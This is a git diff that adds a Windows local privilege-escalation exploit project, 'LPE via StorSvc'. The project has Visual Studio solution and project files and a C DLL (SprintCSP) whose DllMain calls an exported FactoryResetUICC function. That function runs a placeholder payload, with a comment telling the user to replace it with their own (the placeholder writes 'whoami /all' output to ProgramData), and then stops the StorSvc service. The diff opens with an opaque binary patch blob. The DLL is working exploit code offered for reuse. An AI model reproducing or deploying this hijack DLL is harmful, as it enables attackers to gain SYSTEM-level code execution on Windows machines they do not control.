zPCPcd!{j+OyMB{DDug4UjS*jq(C7;WL$a_z5+bpn;13G!8|#FYP?J=clapmPRG+Tc z@S{iOWS>snPpo_3^kXOwuE{xbh{K6z4s)1!<_L$@GYT7TmvYUBJK)l@Rp^z{r@P!O+dhI|N zg|!aGN=JzoBJEVq4K?bDFt(}X^F#_|sZ|CoeHtEQGWFf)2QYpKu%AC#FxK&c-%PKt&C1>O&#!l*`FjXJJ@p12^$qgFEGNGPW$G_)m?B3Cm3@80$W2Tw8ZmyVNL0>=3E95(Fij)Pwr)0Nfij>T(KM~n(I>XacEO|ch{|t8B~!Ci zP<8y7BJZs?k19tSV%sgGU$*CpZQDsdq+Dynou@jXR8%bTQUJ#@V%skJA)>T3*^4yW z%a>B+h@;=p=jvF>tZ2RhB#&}d+}&y2^$s{)9aj;5!WNlByuF%j5f>tk*yJkZMa@QW)i565TZ@IkP4h=3Y zUGgMv-Wp$wHpE2sU1EBl%bM$cA=f&^ZEpbTc|ovF@z}$z4m;PC_X2mDnx}k5#$o>Lsvtj*?KAYgt7RO z_PYU0)?Eq!y7wS}X8SX>ojNeC!(>~sB}c!gpc${;%=B^1OfZ^x;cuFj)Gilmwr_)3 zc|p9gODr#nF}7vA)Ct71cJ$}FkQ&+u3wZ+>kkNXEeg&dtD<+$iUW}HbU$Zr$!~^Qk zM${&k51-$d+Oj>LPio8?OzH>90E|fuile{BZ4Z|MOI)9(*(Q?SM7=#M_Vl0~wA>4~ zYqtFetC&EodL8xm8#<*~OkBMW)5LnI6N3Bf_ro)y(qp~U4cgH!d1AaX zO^lz-k&CU5XD@4BlD%9W98*mT8EB7owD8D$}8-|rESYbrHd+Q z_PLcFNB?0>yA%UePlA{v7;WMyCmtG5-bcX+%ypRJxvL|OrXTg9n2YdrNg~%nMBV+d zra4Y~5|)RSkOb$Y&>$+m=Q0*Dqcb)U{L8>Ud=qMq4-%X zmILlGaBH@wAg8H-LhLSWdkzu$c!mlo8Mn%%TDUnKyO&IEsy^K)vr1 zP2+118%)8tYGWNXkH!~qNzUv=h}gMeS66QHnJ!I>nYzWUzTBaE;biPb(6_r^UKBrR zk_+fDE&h>7&KlFM)*{6lwy2i@SRd=;EmkSV2@Y9daWw|~o-SU@=OdlEzX`6@XaKYL z1CR2)qfdPrN_Js_^g>XrLIB@8um|JneB2Z-_b&y}y8AbH_E>I00os_l4@|o{ zPDJTtGamni2O{2LK0Y~D0;q3H;>+U-wOD5tP@kpOe+)mX9jNcIn4uKDWzG_9@AK-9 zk(oJnX|bj1DPXjQ+84>l$es6yOS(mhJfy-?=TPH2|7@G1Ava2gHb zEp}uFvb|J9+z{al!F6l*VQ6LQgLt+l_kEs5IQO1YEbkz9-Q9UtjxOwkNRhW&>us|f zMTNQmJ>;Gd;^np1!RXkvY6W_xzKbzaU&2NkpSu`zhHktGTOIw*y)UZgfSn$g`C9xf zlUfOGrF-~*Zp2J7qW!3-Ag@>}c-ox#Z8ZqeV&>{Ke1M!)%82q2hG=(x%(}=X!iKvh zI68;kLlcQ*8kX_aN`&zdrlU^WeHyb$eHL2_8s4fmEKg4IXtr#Sc5AXFuBFGE zqb(MWs>Q}}1tiN2lP4zDnvi)F4d*3!HCx}sNy~>b9IsKW(oI9ziqUYoZuQF#4PIf;RK|7l<{GLj7|cKzjx@H`mX4#(-*)ijy}z{28RnC1(pNR zY&E>tdt{=S(Yg|D7PYxOo{@9&%2lFrN*@ACKH2v~$$>ZL|J#+omUPEtF)rn!mFj%Wc9NP_ zD)Ys*%3RI%HcCpTSWNh!jwh-Gy*xnWN&#Yss)K^)0Pd*F6&+n7vI4rG=`s`?V@-)x zcNe^W500fYQ$+F1aTM>QB1V3FH(a)IF$&t;bY)s9*Vz ze41%j-$gq>km1lC!0UbjW;k!QBr4{)NIKAzm^o|_m-Nbcj?NL$`fyG*6vf^v(c}0b z)9@LZ|=aLSeg3HkWh`Pf*)XIAr1tk_-ZRIi?N*`aQb7q^_@m zZ&zoGgr=%Ny)Z$QfDE5Xk>_owH;gGATWISps?j0=o5XBV$&swJ7Y2w2G6R6uv{Rj^}53uER zbyTlota*{;kAp}STE)hkygy>5C2S{97So^Gxrp8w#k?Jp5EPmhx$nO}|S0?@F0EO*+ zMKFhH`yG{+K_^u)EXF0e#5C#6;zYbss!}{Foa35g4d7C(e&R zG5xaP`pkrwu0F;0=KJl(;Vg0IGvu@Nh(q*#gKw2$V%Ejj1jIynF2L|qWKh)q4D5T< zlX!Qgxa7^qkiJrBed^Mzt=fnB%*W8h%nzg($!^Gr*@`j8wCeJPp6PRH+bnX-6Ny1jUh}T2(gZ0)Qc182t zibY+BtTEnea<^Ij0Cac)Xuku}K^dYuA%47MWc%f0D_VCel!=&=ZCj7LH8Gl1IjIY> z`ytX}@xl<&?rzJu1*rANf96@^-_i*yKzIV-l(o%r>UA@t+rV*2Gz#^m<6_sJ1aZ=F zdc7r3<{-@JUfdm9qgbYbJKmewV=)1tIo@W`@H)wLx?7M-&bC><2B48Gpad5uRV>n6evsiwGXkHZbCKl`n6PzF z7#zK{x!=nnPv6a-_wwf;e?HBhNBQ$9{%q&Z1N^y&!Ctych8XMpRzLzNgYVp7Xc5lp}~XcYQWFa@L>VKTkH5vAi*(OKd z&QeU}PV2rdr3)=!T6}T+vwA?JV>GU740wqFvkmx{a=m_?QPxY0-D=Ro2K*NTwj1yU z1OCE*od$f_fN4%$Q<+g-Xux~}W*P8rWjf#eMp-q=ml*Oz2J{&4HUr*iK)Z|a>)S?o zvQhqvQGUaKy$1Y+0pFvyF)7!*M*r_L;9~|XHS{G}J%-!?1MW3o(1247SYklIfEfl% z>ghN1pEBUv229rX&SpDk8%#nrS1$|a!6g6x7KT^q`g3b_nAC?rJ?`4d{4B@k!~{lP$JV<=cCwMx8xxz8Vvnglr{gu+sg zz9%v+Dc5kG3t;OFo)Mx+#N@+K6U^oHx0jQ&Pg9oxbh4O^1mlxgE#i(EASYTUE+%4FSS zgEt9EX;A+TS7y!laZ5JQQLNK@4Va{l!oQO}qx#QBuKsj8I}Q7e8*spY;+jwAKVR)< zmGh}$2Y%;WD=O+e^c{R851*~++qk_YNGv0EN#KjcpB#uKpVuIO@8lZG_c*`ZT9$ZX5JF?zp3A1G>k; zI9c-kMdU_%m5aC2I*zuEx3eRaRRH1|^an?a!VS?VuW!)* zmy!Jc0{veDB=`aUQ?M6dgir>Jg0w;7HWB@Qx=b_8Y-a7n;b{%FqUj4Ju~~1=VzcB+ z*sP|RY}UdVY?djXO&fvFF%OY@vJF!h`#J8fU=GstI`HeJj+NcO!?L<>~U^5n4*^J1v!MyNA4Wt*-fX&9&lL<2z z`xW#MG+8s46}DSpyR~Fe*fi0^CT;*d)66m>=5TsLT9ILAktxT_au!ZxIVBl26Uh&A zaHKHwUUVsAKfpZU^2`=7zG zN;1N_J+Nh=g;}T4=%Ah+xCnB+MS#<@*mU@PI&@Em?&;7yy~H+1d~{JlK=5v?Ns^=S zpt}|29k}=4K7@B7G`8OZegHRd)`cVfpj=T`Q`i&;Fn1tO?ehoOa$lp2O}kc#O7g0z ziVDUyVGSp*caayC!X{eR$tz5`5@>6UT#@LVpcP`A5r_muIY@9Ir;tC991*aAUeC`NGR1lEj$Zd?T_=gMpb%6+G9g4}}7oq(InF zQWx}vqnko9V?VLf1tclV?CC2cx!&Kn83}Drz6N`VoCb==7nLg`kx+!OO0%KQQE~%v zh&7B=j8T^RBTvK;vV z)9tL~32wcSkzO{=GDPdj+8Zi8juO7G*v)AxV^U;WofO&PZzHG1`V-Im#wJw1$`T(2zVsDUj~QKJ?3(+cGXlR zEy-kFZ-qA+mKy!d{zmU6?gRL3F6dFY$t!OQOJ0AlIpl4UqG)fMH{g$A1g>MqW2EN>dNAUMSAZTWPObh+3OE&@HWSSjqE!t9FwE;VvlR}hrErUmX=V^yQP^& zoM!w%5Uu!SS&FoO7cg zSY%D?K3L?IHpDh!Vka%RntADH8Suso$9&d?@qe6tY`xIm{5wrceicsc-N}7>fnapt ztPYd;K(bq(i1D{a)J_y#D_u3UD_4uf{rLP^+khMImTU1!Gg2d3AHV+k>f%1JxbvYh z-}bbt1XovIj?2{br$5)aRuY%8tV}c=S9Z{M8~RGJ5v3YM%y%nJp~`gpt<|E|=Ta8# z5lt@}dJGMvgR%EL>G)Dnx#&b}U@iFV;BR&**&^^ufV&hk#E!exy4K!$(>j2gTmO(@;WcbQ zS;qFP9Ul+IEKjVsC=$Aj-Q;R}RePzirHQ}7APxU8S8gsMHEudzg#lL}C%YebYTixx z_-5p5drEb95cvJTDTnLE{Sfd$z`x<{0M0IkJZ_>BY|dxwN#L6RPvK_x=1g$b494n# z(|_yNzjU4um67=Q0!Vwx=WUas^OjzhlU3%6Mx_>d!wUt$X!*QY zB)B-*xJhd9Md!Ep8zZ4;s9BzmOm49++ETcsc%FcSz~78Kadm2IP$dXuawHa&tB^<< z+U9(YHpd(;2gxW>GMpT?8D&r+((N&{A~n@S{9BMYY?Pv-m8sR0JexzeJ<=8_AOz@H zKF=4e3T_E)mLl_nnBUb%Z??6Pu>Igq4<0($aj^5?g<@Y&{(pGjzX7t& B9CZKy literal 0 HcmV?d00001 diff --git a/Windows/Universal/LPE via StorSvc/SprintCSP/SprintCSP.sln b/Windows/Universal/LPE via StorSvc/SprintCSP/SprintCSP.sln new file mode 100644 index 0000000..aa0e975 --- /dev/null +++ b/Windows/Universal/LPE via StorSvc/SprintCSP/SprintCSP.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.1.32421.90 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SprintCSP", "SprintCSP\SprintCSP.vcxproj", "{239F08C0-2A3D-44A1-A53E-1FF6A2ACB398}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {239F08C0-2A3D-44A1-A53E-1FF6A2ACB398}.Debug|x64.ActiveCfg = Debug|x64 + {239F08C0-2A3D-44A1-A53E-1FF6A2ACB398}.Debug|x64.Build.0 = Debug|x64 + {239F08C0-2A3D-44A1-A53E-1FF6A2ACB398}.Debug|x86.ActiveCfg = Debug|Win32 + {239F08C0-2A3D-44A1-A53E-1FF6A2ACB398}.Debug|x86.Build.0 = Debug|Win32 + {239F08C0-2A3D-44A1-A53E-1FF6A2ACB398}.Release|x64.ActiveCfg = Release|x64 + {239F08C0-2A3D-44A1-A53E-1FF6A2ACB398}.Release|x64.Build.0 = Release|x64 + {239F08C0-2A3D-44A1-A53E-1FF6A2ACB398}.Release|x86.ActiveCfg = Release|Win32 + {239F08C0-2A3D-44A1-A53E-1FF6A2ACB398}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {97DA3635-DE9B-4111-B258-F7A021B25B22} + EndGlobalSection +EndGlobal diff --git a/Windows/Universal/LPE via StorSvc/SprintCSP/SprintCSP/SprintCSP.vcxproj b/Windows/Universal/LPE via StorSvc/SprintCSP/SprintCSP/SprintCSP.vcxproj new file mode 100644 index 0000000..bacd062 --- /dev/null +++ b/Windows/Universal/LPE via StorSvc/SprintCSP/SprintCSP/SprintCSP.vcxproj @@ -0,0 +1,151 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {239f08c0-2a3d-44a1-a53e-1ff6a2acb398} + whoami + 10.0 + SprintCSP + + + + Application + true + v143 + Unicode + + + DynamicLibrary + false + v143 + true + Unicode + + + DynamicLibrary + true + v143 + Unicode + + + DynamicLibrary + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + $(ProjectName) + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Windows + true + true + false + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Windows + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Windows + true + true + false + + + + + + + + + + + \ No newline at end of file diff --git a/Windows/Universal/LPE via StorSvc/SprintCSP/SprintCSP/SprintCSP.vcxproj.filters b/Windows/Universal/LPE via StorSvc/SprintCSP/SprintCSP/SprintCSP.vcxproj.filters new file mode 100644 index 0000000..d652b5f --- /dev/null +++ b/Windows/Universal/LPE via StorSvc/SprintCSP/SprintCSP/SprintCSP.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Archivos de origen + + + \ No newline at end of file diff --git a/Windows/Universal/LPE via StorSvc/SprintCSP/SprintCSP/SprintCSP.vcxproj.user b/Windows/Universal/LPE via StorSvc/SprintCSP/SprintCSP/SprintCSP.vcxproj.user new file mode 100644 index 0000000..b9d4e5e --- /dev/null +++ b/Windows/Universal/LPE via StorSvc/SprintCSP/SprintCSP/SprintCSP.vcxproj.user @@ -0,0 +1,4 @@ + + + + diff --git a/Windows/Universal/LPE via StorSvc/SprintCSP/SprintCSP/main.c b/Windows/Universal/LPE via StorSvc/SprintCSP/SprintCSP/main.c new file mode 100644 index 0000000..055a8c1 --- /dev/null +++ b/Windows/Universal/LPE via StorSvc/SprintCSP/SprintCSP/main.c @@ -0,0 +1,291 @@ +#include +#pragma warning(disable:4996) + +#define DllExport __declspec( dllexport ) +#define UNLEN 256 + +void DoStuff() { + + // Replace all this code by your payload + STARTUPINFO si = { sizeof(STARTUPINFO) }; + PROCESS_INFORMATION pi; + CreateProcess(L"c:\\windows\\system32\\cmd.exe",L" /C whoami /all > C:\\ProgramData\\whoamiall.txt", + NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, L"C:\\Windows", &si, &pi); + + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + + return; +} + +// https://learn.microsoft.com/en-us/windows/win32/services/starting-a-service +VOID __stdcall DoStopSvc() +{ + SERVICE_STATUS_PROCESS ssp; + DWORD dwStartTime = GetTickCount64(); + DWORD dwBytesNeeded; + DWORD dwTimeout = 30000; // 30-second time-out + DWORD dwWaitTime; + SC_HANDLE schSCManager, schService; + LPCTSTR szSvcName = L"StorSvc"; + + // Get a handle to the SCM database. + schSCManager = OpenSCManager( + NULL, // local computer + NULL, // ServicesActive database + SC_MANAGER_ALL_ACCESS); // full access rights + + if (NULL == schSCManager) + { + return; + } + + // Get a handle to the service. + schService = OpenService( + schSCManager, // SCM database + szSvcName, // name of service + SERVICE_STOP | + SERVICE_QUERY_STATUS | + SERVICE_ENUMERATE_DEPENDENTS); + + if (schService == NULL) + { + CloseServiceHandle(schSCManager); + return; + } + + // Make sure the service is not already stopped. + if (!QueryServiceStatusEx( + schService, + SC_STATUS_PROCESS_INFO, + (LPBYTE)&ssp, + sizeof(SERVICE_STATUS_PROCESS), + &dwBytesNeeded)) + { + goto stop_cleanup; + } + + if (ssp.dwCurrentState == SERVICE_STOPPED) + { + goto stop_cleanup; + } + + // If a stop is pending, wait for it. + while (ssp.dwCurrentState == SERVICE_STOP_PENDING) + { + + // Do not wait longer than the wait hint. A good interval is + // one-tenth of the wait hint but not less than 1 second + // and not more than 10 seconds. + dwWaitTime = ssp.dwWaitHint / 10; + + if (dwWaitTime < 1000) + dwWaitTime = 1000; + else if (dwWaitTime > 10000) + dwWaitTime = 10000; + + Sleep(dwWaitTime); + + if (!QueryServiceStatusEx( + schService, + SC_STATUS_PROCESS_INFO, + (LPBYTE)&ssp, + sizeof(SERVICE_STATUS_PROCESS), + &dwBytesNeeded)) + { + goto stop_cleanup; + } + + if (ssp.dwCurrentState == SERVICE_STOPPED) + { + goto stop_cleanup; + } + + if (GetTickCount() - dwStartTime > dwTimeout) + { + goto stop_cleanup; + } + } + + // If the service is running, dependencies must be stopped first. + StopDependentServices(); + + // Send a stop code to the service. + if (!ControlService( + schService, + SERVICE_CONTROL_STOP, + (LPSERVICE_STATUS)&ssp)) + { + goto stop_cleanup; + } + + // Wait for the service to stop + while (ssp.dwCurrentState != SERVICE_STOPPED) + { + Sleep(ssp.dwWaitHint); + if (!QueryServiceStatusEx( + schService, + SC_STATUS_PROCESS_INFO, + (LPBYTE)&ssp, + sizeof(SERVICE_STATUS_PROCESS), + &dwBytesNeeded)) + { + goto stop_cleanup; + } + + if (ssp.dwCurrentState == SERVICE_STOPPED) + break; + + if (GetTickCount64() - dwStartTime > dwTimeout) + { + goto stop_cleanup; + } + } + +stop_cleanup: + CloseServiceHandle(schService); + CloseServiceHandle(schSCManager); +} + +BOOL __stdcall StopDependentServices() +{ + DWORD i; + DWORD dwBytesNeeded; + DWORD dwCount; + + LPENUM_SERVICE_STATUS lpDependencies = NULL; + ENUM_SERVICE_STATUS ess; + SC_HANDLE hDepService; + SERVICE_STATUS_PROCESS ssp; + SC_HANDLE schSCManager, schService; + LPCTSTR szSvcName = L"StorSvc"; + + DWORD dwStartTime = GetTickCount64(); + DWORD dwTimeout = 30000; // 30-second time-out + + schSCManager = OpenSCManager( + NULL, // local computer + NULL, // ServicesActive database + SC_MANAGER_ALL_ACCESS); // full access rights + + if (NULL == schSCManager) + { + return; + } + + // Get a handle to the service. + schService = OpenService( + schSCManager, // SCM database + szSvcName, // name of service + SERVICE_STOP | + SERVICE_QUERY_STATUS | + SERVICE_ENUMERATE_DEPENDENTS); + + if (schService == NULL) + { + CloseServiceHandle(schSCManager); + return; + } + // Pass a zero-length buffer to get the required buffer size. + if (EnumDependentServices(schService, SERVICE_ACTIVE, + lpDependencies, 0, &dwBytesNeeded, &dwCount)) + { + // If the Enum call succeeds, then there are no dependent + // services, so do nothing. + return TRUE; + } + else + { + if (GetLastError() != ERROR_MORE_DATA) + return FALSE; // Unexpected error + + // Allocate a buffer for the dependencies. + lpDependencies = (LPENUM_SERVICE_STATUS)HeapAlloc( + GetProcessHeap(), HEAP_ZERO_MEMORY, dwBytesNeeded); + + if (!lpDependencies) + return FALSE; + + __try { + // Enumerate the dependencies. + if (!EnumDependentServices(schService, SERVICE_ACTIVE, + lpDependencies, dwBytesNeeded, &dwBytesNeeded, + &dwCount)) + return FALSE; + + for (i = 0; i < dwCount; i++) + { + ess = *(lpDependencies + i); + // Open the service. + hDepService = OpenService(schSCManager, + ess.lpServiceName, + SERVICE_STOP | SERVICE_QUERY_STATUS); + + if (!hDepService) + return FALSE; + + __try { + // Send a stop code. + if (!ControlService(hDepService, + SERVICE_CONTROL_STOP, + (LPSERVICE_STATUS)&ssp)) + return FALSE; + + // Wait for the service to stop. + while (ssp.dwCurrentState != SERVICE_STOPPED) + { + Sleep(ssp.dwWaitHint); + if (!QueryServiceStatusEx( + hDepService, + SC_STATUS_PROCESS_INFO, + (LPBYTE)&ssp, + sizeof(SERVICE_STATUS_PROCESS), + &dwBytesNeeded)) + return FALSE; + + if (ssp.dwCurrentState == SERVICE_STOPPED) + break; + + if (GetTickCount64() - dwStartTime > dwTimeout) + return FALSE; + } + } + __finally + { + // Always release the service handle. + CloseServiceHandle(hDepService); + } + } + } + __finally + { + // Always free the enumeration buffer. + HeapFree(GetProcessHeap(), 0, lpDependencies); + } + } + return TRUE; +} +int DllExport FactoryResetUICC() +{ + DoStuff(); + DoStopSvc(); + return 0; +} + +DllExport BOOL APIENTRY DllMain(HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved +) +{ + FactoryResetUICC(); + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + break; + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +}